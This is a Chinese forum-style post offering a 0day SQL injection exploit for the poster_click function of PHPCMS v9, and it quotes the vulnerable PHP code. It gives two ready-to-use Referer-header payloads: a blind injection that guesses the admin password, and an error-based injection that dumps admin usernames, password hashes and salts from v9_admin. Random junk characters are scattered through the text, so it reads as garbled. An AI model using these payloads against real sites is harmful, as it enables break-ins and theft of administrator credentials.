phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
: m; E4 U2 h5 K  m" `* q" D
& j+ W( n- s8 k' ~问题函数\phpcms\modules\poster\index.php

6 A3 U; c7 T$ t/ i2 t, \: t( Npublic function poster_click() {
9 o1 _9 q3 W- W  Q; j+ i+ j5 `$ R$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
6 _7 J$ ?& \- t4 D: Z, _! }$r = $this->db->get_one(array('id'=>$id));
& b6 r6 L9 L, w! _3 Zif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
, L( W# M5 I% y4 n# ~8 u! Y/ w5 G}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
: K+ b6 {+ q5 |. g; m$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
7 W, z) R# v0 S( n0 oheader('Location: '.$url);
}
/ v( z* i, Y; S* |$ x4 }' U
2 ]: t4 |5 Z! c. u

! ~( Q- t0 q4 }' d9 B0 k5 d$ W利用方式：
3 W& `. J# U: _, a! {4 A* H
! ~9 V/ }: u- D" r5 s$ N- C" F0 U2 L1、可以采用盲注入的手法：

: J/ ^% x) q$ I1 M1 j' e! Kreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
7 V3 ?7 u- @& X. J/ O
, p2 \& L; m; x6 \0 z+ Z2、代码是花开写的，随手附上了：
6 y$ K2 U; f& R+ Y1 f
' Z8 R  G+ w4 H+ q) P( c  u+ l1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
